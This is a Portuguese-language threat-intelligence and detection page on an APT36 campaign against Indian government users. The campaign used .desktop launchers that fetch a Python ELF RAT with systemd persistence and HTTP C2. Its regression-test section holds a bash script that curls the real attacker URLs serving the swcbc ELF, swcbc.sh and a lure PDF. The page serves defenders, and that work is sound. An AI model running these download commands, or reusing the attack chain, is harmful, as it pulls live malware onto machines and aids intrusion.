APT36 Implanta Malware Python ELF Contra Entidades Governamentais Indianas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
APT36 (Transparent Tribe) realizou uma campanha de spear-phishing que lançou arquivos de atalho maliciosos do Linux .desktop em usuários do governo indiano. Esses lançadores recuperam e executam um ELF RAT baseado em Python chamado swcbc de um servidor controlado por atacantes. O malware mantém a persistência através de um serviço systemd em nível de usuário e se comunica com seu C2 via HTTP para exfiltrar dados e executar comandos. A campanha ressalta a crescente capacidade do grupo de operar efetivamente em ambientes Linux.
Investigação
A investigação seguiu a cadeia desde o anexo inicial .zip até o lançador .desktop, o PDF de isca e as duas cargas (swcbc ELF binário e script swcbc.sh) baixadas de um endereço IP controlado pelo ator. A análise mostrou que o binário ELF é um RAT Python empacotado com PyInstaller com capacidades para perfilamento do sistema, upload/download de arquivos, captura de tela e auto-remoção. A persistência é implementada registrando um serviço systemd dentro do diretório de configuração do usuário.
Mitigação
As defesas recomendadas incluem bloquear a execução de arquivos .desktop, .sh e ELF recebidos via e-mail e aplicar execução em sandbox para anexos suspeitos. Desativar a execução automática de caminhos graváveis por todos como /tmp e aplicar opções noexec de montagem quando possível. Monitorar tráfego DNS e HTTP para conexões ao domínio e IP maliciosos identificados. Impor controle estrito de aplicativos em ferramentas como curl e LibreOffice.
Resposta
Quando a atividade é detectada, isole o host Linux impactado, colete os artefatos maliciosos e a unidade de serviço systemd, e remova o diretório oculto ~/.swcbc. Use ferramentas forenses para extrair o identificador exclusivo do host e termine quaisquer sessões C2 em andamento. Atualize o conteúdo de detecção com os IOCs observados e busque proativamente por padrões semelhantes em todo o ambiente mais amplo.
Fluxo de Ataque
Detecções
Detecção de Download de URL Malicioso APT36 [Proxy]
Ver
Execução Maliciosa de Script .desktop e Shell APT36 [Criação de Processo Linux]
Ver
IOCs (SourceIP) para detectar: Malware ELF Basedo em Python APT36 Alvejando Entidades Governamentais Indianas
Ver
IOCs (DestinationIP) para detectar: Malware ELF Basedo em Python APT36 Alvejando Entidades Governamentais Indianas
Ver
IOCs (HashSha256) para detectar: Malware ELF Basedo em Python APT36 Alvejando Entidades Governamentais Indianas
Ver
Execução de Simulação
Pré-requisito: O Check de Telemetria & Baseline Pré-voo deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa do Ataque & Comandos:
Um operador do APT-36 hospeda três cargas em infraestrutura comprometida e distribui seus URLs via um email de phishing. A vítima, usando um navegador configurado para rotear o tráfego através de um proxy corporativo, clica em cada link. O proxy registra cada solicitação GET, produzindo entradas que correspondem à regraurl|alllista. As cargas são:- Um binário ELF bruto (
swcbc) entregue via HTTP. - Um script shell (
swcbc.sh) que, quando executado, instala o ELF. - Um PDF de isca (
Analysis_Proc_Report_Gem.pdf) destinado a encorajar o usuário a abrir o arquivo enquanto o ELF malicioso é executado em segundo plano.
- Um binário ELF bruto (
-
Script de Teste de Regressão:
#!/usr/bin/env bash # Simulação de download de URL malicioso do APT-36 – aciona a regra Sigma. set -euo pipefail # Definir os URLs maliciosos (strings exatas da regra Sigma) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # Baixar cada carga através do proxy corporativo. # Assumir que a variável de ambiente http_proxy/https_proxy aponta para o proxy. for u in "${urls[@]}"; do echo "[*] Baixando $u via proxy..." curl -s -O "$u" done echo "[+] Todos os arquivos maliciosos baixados. Verifique os logs do proxy para URLs correspondentes."Salve o script como
apt36_simulation.sh, torne-o executável (chmod +x apt36_simulation.sh), e execute-o na estação de trabalho protegida. -
Comandos de Limpeza:
#!/usr/bin/env bash # Remover todos os arquivos criados pela simulação rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] Limpeza completa."